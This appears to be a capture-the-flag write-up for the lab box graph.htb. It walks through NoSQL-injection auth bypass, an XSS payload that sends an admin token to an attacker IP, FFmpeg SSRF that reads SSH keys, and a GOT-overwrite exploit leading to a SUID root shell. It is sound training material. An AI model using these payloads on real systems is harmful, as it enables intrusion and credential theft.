Scanning

TARGET=10.10.11.157 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
nmap -p- --min-rate=1000 -T4 10.10.11.157 -Pn -sU -vvv
nmap --min-rate=1000 -T4 10.10.11.157 -Pn -sU -vvv

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://graph.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

10.10.11.157    graph.htb

Web Enum

> dirsearch -u http://graph.htb -f -x 400,401,403               
[19:24:20] 301 -  297B  - /assets  ->  http://graph.htb/assets/
[19:24:20] 200 -  929B  - /assets/
[19:25:01] 200 -    6KB - /index.html
[19:25:48] 200 -   16KB - /server-status
[19:25:48] 200 -   16KB - /server-status/
  • By the title of this machine, it might be to do with graph api, my least favourite topic.
> wfuzz -c -f subdomains.txt -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://graph.htb/" -H "Host: FUZZ.graph.htb"  --hl 7

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000387:   200        14 L     33 W       607 Ch      "internal" 

graphql enum

  • graphsqlmap
> python3 main.py -d -f -t http://internal-api.graph.htb
[*] Discovered GraphQL Engine: (Apollo)
[!] Attack Surface Matrix: https://github.com/nicholasaleks/graphql-threat-matrix/blob/master/implementations/apollo.md                                                
[!] Technologies: JavaScript, Node.js, TypeScript                                                                                                                      
[!] Homepage: https://www.apollographql.com 
  • clairvoyance
> python3 -m clairvoyance -vv -o payload.json -w /usr/share/wordlists/SecLists/Discovery/Web-Content/graphql.txt http://internal-api.graph.htb/graphql
============= [SCHEMA] ===============
e.g: name[Type]: arg (Type!)

00: Query
        Messages[None]: 
        tasks[None]: username (String!), 
01: Message
        to[String]: 
        from[String]: 
        text[String]: 
        toUserName[String]: 
        fromUserName[String]: 
03: task
        Assignedto[ID]: 
        username[]: 
        text[String]: 
        taskstatus[String]: 
        type[String]: 
05: Mutation
        login[User]: email (String!), password (String!), 
        update[User]: newusername (String!), id (ID!), firstname (String!), lastname (String!), 
        sendMessage[Message]: to (String!), text (String!), 
        assignTask[]: user (String!), text (String!), taskstatus (String!), type (String!), 
06: User
        username[String]: 
        id[ID]: 
        email[String]: 
        createdAt[String]: 
        token[]: 
        admin[String]: 
        adminToken[]: 
        firstname[]: 
        lastname[]: 
07: __Schema
08: __Type
11: __Field
12: __InputValue
13: __EnumValue
14: __Directive
> {"query": "query {\n\tMessages {\n\t\tto\n\t\tfrom\n\t\ttext\n\t\t$regexGRAPHQL_CHARSET\n\t\tadmin\n\t}\n}"}
  • Retrieve the main.xxxxxxx.js file and search for domain name graph.htb found the following entries
http://internal-api.graph.htb/api/code
http://internal-api.graph.htb/api/verify
http://internal-api.graph.htb/api/register
http://internal-api.graph.htb/admin/video/upload
http://internal-api.graph.htb/graphql
http://internal-api.graph.htb/logout
  • Search for “/ found the following paths
/dashboard
/inbox
/profile
/tasks
/logout
/uploads
/register
/graphql
  • visible page:
http://internal.graph.htb/tasks
http://internal.graph.htb/uploads
  • register and bypass via nosqli
{"email":"meow@graph.htb"}
{"email":"test1@graph.htb","code":{"$ne":"1234"}}
{"email":"meow@graph.htb","password":"meow","confirmPassword":"meow","username":"meow"}
  • get the uid of the target user talking to you, Sally/Mark
{"query":"query ($username:String!){\n\ttasks(username:$username) {\n\t\tAssignedto\n\t\ttext\n\t\ttaskstatus\n\t\ttype\n\t\tusername\n\t}\n}","variables":{"username":"Sally"}}

{"data":{"tasks":[{"Assignedto":"62b439a22773254d7ddaf04c","text":"Lorem ipsum","taskstatus":"completed","type":"development","username":null}]}}
  • ssrf to get the victim to update its firstname to trigger xss
{{$on.constructor('new Image().src=\"http://<ip>/?a=\"+window.localStorage.getItem(\"adminToken\");')()}}
  • construct payload
var request = new XMLHttpRequest();request.open('POST','http://internal-api.graph.htb/graphql',false);request.setRequestHeader("Content-Type","text/plain");request.withCredentials = true;request.send(JSON.stringify({operationName: 'update',variables: {firstname: "{{$on.constructor('new Image().src=\"http://<ip>/?a=\"+window.localStorage.getItem(\"adminToken\");')()}}",lastname: 'null',id: '62b440aadc651a4f71452f64',newusername: 'admin'},query: 'mutation update($newusername: String!, $id: ID!, $firstname: String!, $lastname: String!) {update(newusername: $newusername, id: $id, firstname: $firstname, lastname:$lastname){username,email,id,firstname,lastname,adminToken}}'}));
  • trigger via open redirect
window.location='http://graph.htb/?redirect=javascript:eval(atob("dmFyIHJlcXVlc3QgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTtyZXF1ZXN0Lm9wZW4oJ1BPU1QnLCdodHRwOi8vaW50ZXJuYWwtYXBpLmdyYXBoLmh0Yi9ncmFwaHFsJyxmYWxzZSk7cmVxdWVzdC5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCJ0ZXh0L3BsYWluIik7cmVxdWVzdC53aXRoQ3JlZGVudGlhbHMgPSB0cnVlO3JlcXVlc3Quc2VuZChKU09OLnN0cmluZ2lmeSh7b3BlcmF0aW9uTmFtZTogJ3VwZGF0ZScsdmFyaWFibGVzOiB7Zmlyc3RuYW1lOiAie3skb24uY29uc3RydWN0b3IoJ25ldyBJbWFnZSgpLnNyYz1cImh0dHA6Ly8xMC4xMC4xNi4zLz9hPVwiK3dpbmRvdy5sb2NhbFN0b3JhZ2UuZ2V0SXRlbShcImFkbWluVG9rZW5cIik7JykoKX19IixsYXN0bmFtZTogJ251bGwnLGlkOiAnNjJiNDQwYWFkYzY1MWE0ZjcxNDUyZjY0JyxuZXd1c2VybmFtZTogJ2FkbWluJ30scXVlcnk6ICdtdXRhdGlvbiB1cGRhdGUoJG5ld3VzZXJuYW1lOiBTdHJpbmchLCAkaWQ6IElEISwgJGZpcnN0bmFtZTogU3RyaW5nISwgJGxhc3RuYW1lOiBTdHJpbmchKSB7dXBkYXRlKG5ld3VzZXJuYW1lOiAkbmV3dXNlcm5hbWUsIGlkOiAkaWQsIGZpcnN0bmFtZTogJGZpcnN0bmFtZSwgbGFzdG5hbWU6JGxhc3RuYW1lKXt1c2VybmFtZSxlbWFpbCxpZCxmaXJzdG5hbWUsbGFzdG5hbWUsYWRtaW5Ub2tlbn19J30pKTs="))'
  • get the vistims adminToken

  • update local storage with adminToken and admin status

  • check that Upload page is enabled

  • use https://github.com/0xcoyote/FFmpeg-HLS-SSRF

  • upload the avi

  • intercept the request and change the line to

#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
http://<ip>:8088/initial.m3u?filename=/etc/passwd
#EXT-X-ENDLIST

#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:1.0,
http://<ip>:8088/initial.m3u?filename=/home/user/.ssh/id_rsa
#EXT-X-ENDLIST
  • Use the id_rsa to login user user

pe

  • Found password in bot.js
const webdriver = require("selenium-webdriver");
const chrome = require('selenium-webdriver/chrome');

const bot = async(url,email) =>{
    let driver = await new webdriver.Builder().forBrowser("chrome").setChromeOptions(new chrome.Options().addArguments(['--headless','--no-sandbox','--user-agent=Chrome/77'])).build();
    await driver.get("http://internal.graph.htb");
    await driver.findElement(webdriver.By.xpath("/html/body/app-root/app-login/div[2]/form/input[1]")).sendKeys(email);
    await driver.findElement(webdriver.By.xpath("/html/body/app-root/app-login/div[2]/form/input[2]")).sendKeys("m@rk!23l33th4acker");
  • Upload linpeas.sh, found /usr/local/bin/Nreport/nreport
root         942  0.0  0.0   8356  3356 ?        S    Jun26   0:00  _ /usr/sbin/CRON -f
root         946  0.0  0.0   2608   592 ?        Ss   Jun26   0:00      _ /bin/sh -c sh -c 'socat tcp4-listen:9851,reuseaddr,fork,bind=127.0.0.1 exec:/usr/local/bin/Nreport/nreport,pty,stderr'
root         947  0.0  0.0   2608   596 ?        S    Jun26   0:00          _ sh -c socat tcp4-listen:9851,reuseaddr,fork,bind=127.0.0.1 exec:/usr/local/bin/Nreport/nreport,pty,stderr
root         948  0.0  0.0   6964  1832 ?        S    Jun26   0:00              _ socat tcp4-listen:9851,reuseaddr,fork,bind=127.0.0.1 exec:/usr/local/bin/Nreport/nreport,pty,stderr

reverse eng

  • First, we need to bypass the auth check. This can be done in two ways: 1) understand the logic of the code and revert the whole process, 2) reading the code and understand that the token needs to be 14 char long, then write a bruteforcer to generate a random 14 char long token until one works and use it from there. i personally chose the 2nd approach.
import random
import string
import os
 
def get_random_string(length):
    letters = string.ascii_lowercase + string.ascii_uppercase + string.digits
    result_str = ''.join(random.choice(letters) for i in range(length))
    return result_str
 
result_str = get_random_string(14)
 
process = os.system('/usr/local/bin/Nreport/nreport < ' + result_str)
print(result_str)
  • Once we passed the auth check, we enter a username and can start using the application. It provides several options: 1) to create a message, 2) delete a message, 3) edit a message, 4) generate report (this doesn’t work because the target system is missing a path) 5) exit.
  • This part is quite hard, as i’m not super comfortable with reverse eng.
  • General concept: /usr/local/bin/Nreport/nreport uses GOT and PLT to call functions inside the external libraries. We can find a pointer inside the application’s space to overwrite the GOT with another function’s GOT address, so that function calls to these functions can be redirected to other functions.
  • To understand what a GOT overwrite attack is, this article explains it pretty well: https://infosecwriteups.com/got-overwrite-bb9ff5414628
  • My overall attack plan is this:
    • Examine the app space for a pointer to GOT
    • Locate a GOT address to overwrite
    • Overwrite the GOT address so that the function will execute something else
  • Examine the app space finds the following GOT table, which shows pointers to library functions used by the application.
(gdb) x/8b 0x404000
0x404018 <free@got.plt>:                0x30    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404020 <puts@got.plt>:                0x70    0x5d    0xaa    0xf7    0xff    0x7f    0x00    0x00
0x404028 <fclose@got.plt>:              0x50    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404030 <strlen@got.plt>:              0x60    0xd3    0xab    0xf7    0xff    0x7f    0x00    0x00
0x404038 <__stack_chk_fail@got.plt>:    0x70    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404040 <system@got.plt>:              0xd0    0xd0    0xa7    0xf7    0xff    0x7f    0x00    0x00
0x404048 <printf@got.plt>:              0x70    0xcd    0xa8    0xf7    0xff    0x7f    0x00    0x00
0x404050 <fgets@got.plt>:               0x40    0x41    0xaa    0xf7    0xff    0x7f    0x00    0x00
0x404058 <calloc@got.plt>:              0xb0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404060 <fprintf@got.plt>:             0xc0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404068 <fflush@got.plt>:              0xd0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404070 <fopen@got.plt>:               0xe0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404078 <atoi@got.plt>:                0x80    0x11    0xa7    0xf7    0xff    0x7f    0x00    0x00
0x404080 <__isoc99_scanf@got.plt>:      0xc0    0x1c    0xaa    0xf7    0xff    0x7f    0x00    0x00
0x404088 <strcat@got.plt>:              0x10    0x3e    0xad    0xf7    0xff    0x7f    0x00    0x00
0x404090 <exit@got.plt>:                0x20    0x11    0x40    0x00    0x00    0x00    0x00    0x00
  • Searching the application’s address space shows a range between 0x3ef000 - 0x405000
  • We search in this address range for the points to the function references
(gdb) x/8b 0x404000
0x404000:       0x20    0x3e    0x40    0x00    0x00    0x00    0x00    0x00
0x404008:       0x50    0xe1    0xff    0xf7    0xff    0x7f    0x00    0x00
0x404010:       0x50    0xf4    0xde    0xf7    0xff    0x7f    0x00    0x00
0x404018 <free@got.plt>:        0x30    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404020 <puts@got.plt>:        0x70    0x5d    0xaa    0xf7    0xff    0x7f    0x00    0x00
0x404028 <fclose@got.plt>:      0x50    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404030 <strlen@got.plt>:      0x60    0xd3    0xab    0xf7    0xff    0x7f    0x00    0x00
0x404038 <__stack_chk_fail@got.plt>:    0x70    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404040 <system@got.plt>:      0xd0    0xd0    0xa7    0xf7    0xff    0x7f    0x00    0x00
0x404048 <printf@got.plt>:      0x70    0xcd    0xa8    0xf7    0xff    0x7f    0x00    0x00
0x404050 <fgets@got.plt>:       0x40    0x41    0xaa    0xf7    0xff    0x7f    0x00    0x00
0x404058 <calloc@got.plt>:      0xb0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404060 <fprintf@got.plt>:     0xc0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404068 <fflush@got.plt>:      0xd0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404070 <fopen@got.plt>:       0xe0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404078 <atoi@got.plt>:        0x80    0x11    0xa7    0xf7    0xff    0x7f    0x00    0x00
  • Find out the program’s address space
> cat /proc/71102/maps    
003fe000-00400000 rw-p 00000000 08:01 4872378                            /usr/local/bin/Nreport/nreport
00400000-00401000 r--p 00002000 08:01 4872378                            /usr/local/bin/Nreport/nreport
00401000-00402000 r-xp 00003000 08:01 4872378                            /usr/local/bin/Nreport/nreport
00402000-00403000 r--p 00004000 08:01 4872378                            /usr/local/bin/Nreport/nreport
00403000-00404000 r--p 00004000 08:01 4872378                            /usr/local/bin/Nreport/nreport
00404000-00405000 rw-p 00005000 08:01 4872378                            /usr/local/bin/Nreport/nreport
00405000-00426000 rw-p 00000000 00:00 0                                  [heap]
7ffff7a3d000-7ffff7bd1000 r-xp 00000000 08:01 4872383                    /usr/local/bin/Nreport/libc/libc.so.6
7ffff7bd1000-7ffff7dd0000 ---p 00194000 08:01 4872383                    /usr/local/bin/Nreport/libc/libc.so.6
7ffff7dd0000-7ffff7dd4000 r--p 00193000 08:01 4872383                    /usr/local/bin/Nreport/libc/libc.so.6
7ffff7dd4000-7ffff7dd6000 rw-p 00197000 08:01 4872383                    /usr/local/bin/Nreport/libc/libc.so.6
7ffff7dd6000-7ffff7dda000 rw-p 00000000 00:00 0 
7ffff7dda000-7ffff7dfd000 r-xp 00000000 08:01 4872380                    /usr/local/bin/Nreport/libc/ld-2.25.so
7ffff7ff1000-7ffff7ff6000 rw-p 00000000 00:00 0 
7ffff7ff6000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00022000 08:01 4872380                    /usr/local/bin/Nreport/libc/ld-2.25.so
7ffff7ffd000-7ffff7ffe000 rw-p 00023000 08:01 4872380                    /usr/local/bin/Nreport/libc/ld-2.25.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]

(gdb) find 0x3fe000,0x405000,0x404048
0x4007e8
1 pattern found.
  • We can use this pointer’s address to overwrite the GOT table.
  • To access this pointer, we need to use a vulnerable function in the code, edit()
  • As you can see, as long as Arryindex is not 0, there is no further check on &local_14, even though it’s beyond the range of message_array.
if (Arryindex == 0) {
  puts("No Message Created");
}
else {
  printf("Enter number to edit: ");
  __isoc99_scanf("%d[^\n]",&local_14);
  printf("Message Title: ");
  __isoc99_scanf(" %59[^\n]",*(undefined8 *)(message_array + (long)local_14 * 8));
  printf("Message: ");
  __isoc99_scanf("%100[^\n]",*(long *)(message_array + (long)local_14 * 8) + 0x3c);
  fflush(stdin);
  fflush(stdout);
}
  • We can utilise this function and provide a negative index so that the pointer goes to an address space before where message_array is at (i.e 0x404120). The above address 0x4007e8 is a good place, it refers to the printf’s GOT reference, we can use edit to overwrite the GOT address of printf and redirect the call to somewhere else. The offset to printf from message_array is -1831. Below are offsets to some other pointers
exit 1804
strcat 1807
__isoc99_scanf@got.plt 1810
fopen 1816
fflush 1819
fprintf 1822
fgets 1828
printf 1831
system 1834
strlen 1840
puts 1846
  • The overall memory map and pointer locations look like as follow
(gdb) x/64x 0x404000
0x404000:       0x00403e20      0x00000000      0xf7ffe150      0x00007fff
0x404010:       0xf7def450      0x00007fff      0x00401030      0x00000000
0x404020 <puts@got.plt>:        0xf7aa5d70      0x00007fff      0x00401050      0x00000000
0x404030 <strlen@got.plt>:      0xf7abd360      0x00007fff      0x00401070      0x00000000
0x404040 <system@got.plt>:      0xf7a7d0d0      0x00007fff      0xf7a8cd70      0x00007fff
0x404050 <fgets@got.plt>:       0xf7aa4140      0x00007fff      0x004010b0      0x00000000
0x404060 <fprintf@got.plt>:     0x004010c0      0x00000000      0x004010d0      0x00000000
0x404070 <fopen@got.plt>:       0x004010e0      0x00000000      0xf7a71180      0x00007fff
0x404080 <__isoc99_scanf@got.plt>:      0xf7aa1cc0      0x00007fff      0xf7ad3e10      0x00007fff
0x404090 <exit@got.plt>:        0x00401120      0x00000000      0x00000000      0x00000000
0x4040a0:       0x00000000      0x00000000      0x00000000      0x00000000
0x4040b0:       0x00000000      0x00000000      0x00000000      0x00000000
0x4040c0 <secret>:      0x00000012      0x00000001      0x00000012      0x00000004
0x4040d0 <secret+16>:   0x00000042      0x00000014      0x00000006      0x0000001f
0x4040e0 <secret+32>:   0x00000007      0x00000016      0x00000001      0x00000010
0x4040f0 <secret+48>:   0x00000040      0x00000000      0x00000000      0x00000000
0x404100 <stdout@@GLIBC_2.2.5>: 0xf7dd5600      0x00007fff      0x00000000      0x00000000
0x404110 <stdin@@GLIBC_2.2.5>:  0xf7dd48c0      0x00007fff      0x00000000      0x00000000
0x404120 <message_array>:       0x00000000      0x00000000      0x00000000      0x00000000
0x404130 <message_array+16>:    0x00000000      0x00000000      0x00000000      0x00000000
0x404140 <message_array+32>:    0x00000000      0x00000000      0x00000000      0x00000000
0x404150 <message_array+48>:    0x00000000      0x00000000      0x00000000      0x00000000
0x404160 <message_array+64>:    0x00000000      0x00000000      0x00000000      0x00000000
0x404170:       0x00000000      0x00000000      0x00000000      0x00000000
0x404180 <userinfo1>:   0x776f656d      0x776f656d      0x00000000      0x00000000
0x404190 <userinfo1+16>:        0x00000000      0x00000000      0x00000000      0x00000000
0x4041a0 <userinfo1+32>:        0x00000000      0x00000000      0x6f686365      0x614c2220
0x4041b0 <userinfo1+48>:        0x55207473      0x20646573      0x24206e4f      0x74616428
0x4041c0 <userinfo1+64>:        0x20222965      0x2f203e3e      0x2f726176      0x2f676f6c
0x4041d0 <userinfo1+80>:        0x7065726b      0x0074726f      0x00000000      0x00000000
  • i spent quite some time here seeking for a way to not only overwrite the GOT address to call system but also not causing the program to crash, because some functions are used at multiple places, by overwriting them, it will cause the program to crash. There also seems to be some kind of protection of the compiler. When writing a byte such as \x80, there is usually an appended \xc2 at the end (might be the canary check?).

  • Eventually, i figuered out this plan, fopen is only used once by the report function. So, this function should be safe to overwrite and not causing the rest of the program to crash. Once we overwrite it, we just need to type ‘4’ to trigger it.

  • However, due to the canary issue, we cannot do this directly. Then i figured that i could overwrite a function before the fopen function and overflow the addresses until i reach fopen. After some more code reading, i figured that by overwriting printf (which is only called once after the program’s main loop starts and it avoids overwrite other functions used in the rest of the loop) and overflows by 36 bytes, we can arrive at fopen.

0x404040 <system@got.plt>:              0xd0    0xd0    0xa7    0xf7    0xff    0x7f    0x00    0x00
0x404048 <printf@got.plt>:              0x70    0xcd    0xa8    0xf7    0xff    0x7f    0x00    0x00
0x404050 <fgets@got.plt>:               0x40    0x41    0xaa    0xf7    0xff    0x7f    0x00    0x00
0x404058 <calloc@got.plt>:              0xb0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404060 <fprintf@got.plt>:             0xc0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404068 <fflush@got.plt>:              0xd0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
0x404070 <fopen@got.plt>:               0xe0    0x10    0x40    0x00    0x00    0x00    0x00    0x00
  • So, our payload structure would be like this
'printf_got' + '\x00' * 36 + 'fopen_got' -> 'whatever' + '\x00' * 36 + 'system_got'
  • i overwrite the whatever with report function’s address, so that after we overwrite, report will be executed automatically to trigger fopen (which is now overwritten with system).

  • We can find the address of report function and system pointer by disassmbling the program

> objdump -D nreport

0000000000401180 <system@plt>:
  401180:       f3 0f 1e fa             endbr64 
  401184:       f2 ff 25 b5 2e 00 00    bnd jmp *0x2eb5(%rip)        # 404040 <system@GLIBC_2.2.5>
  40118b:       0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
...
000000000040157c <report>:
  40157c:       f3 0f 1e fa             endbr64 
  401580:       55                      push   %rbp
  401581:       48 89 e5                mov    %rsp,%rbp
  • Another reason i choose fopen to overwrite is, it takes userinfo1 + 0x8c as input. If you examine the memory, what we provide as username is copied there in the auth function, so we basically has control over the input to fopen (i.e system overwrite)
// report()
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_18 = fopen(userinfo1 + 0x8c,"a");
puts("1.Report Specific Message");
puts("2.Report All Messages");

// auth()
printf("Enter Name: ");
__isoc99_scanf(" %39[^\n]",userinfo1);
userinfo1._140_8_ = 0x7672632f74706f2f;
userinfo1._148_2_ = 0x2f31;
userinfo1[150] = 0;
strcat(userinfo1 + 0x8c,userinfo1);
userinfo1._40_8_ = 0x614c22206f686365;
userinfo1._48_8_ = 0x2064657355207473;
userinfo1._56_8_ = 0x7461642824206e4f;
userinfo1._64_8_ = 0x2f203e3e20222965;
userinfo1._72_8_ = 0x2f676f6c2f726176;
userinfo1._80_8_ = 0x74726f7065726b;
  • Then, we can construct our payload as follow, you may need to tweak the number of offsets (\x00 padding) due to the canary issue mentioned before.
> cat <(python3 -c "print('UiBXpthJzfNyBk\n' + '|touch done\n' + '1\n1\n1'); print('3\n' + '-1831'); print('\x7c\x15\x40\x00' + '\x00'*(4*9-1) + '\x80\x11\x40\x00');") - | /usr/local/bin/Nreport/nreport
or
> echo -e "UiBXpthJzfNyBk\n|touch /usr/local/bin/Nreport/done\n1\n1\n1\n3\n-1831\n\x7c\x15\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x11\x40\x00\n4\n" | /usr/local/bin/Nreport/nreport
  • Then, this work when running nreport from command line. However, the target runs it via socat. There is another catch over there.
  • socat when running with pty will interpret some bytes as commands, so for those bytes, there needs to be a leading \x16 byte to escape it. This post explained it well: https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/socat
  • Our final payload should be like the following
> cat <(python3 -c "print('UiBXpthJzfNyBk'); print('|chmod +s /usr/bin/bash'); print('1');print('1');print('1'); print('3');print('-1831');print('\x16\x7c\x16\x15\x40\x00' + '\x00'*(4*9-1) + '\x80\x16\x11\x40\x00')") - | nc 127.0.0.1 9851

user@overgraph:~$ ls -ls /usr/bin/bash
1156 -rwsr-sr-x 1 root root 1183448 Apr 18 09:14 /usr/bin/bash
user@overgraph:~$ /usr/bin/bash -p
bash-5.0# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),1000(user)
bash-5.0# cat /root/root.txt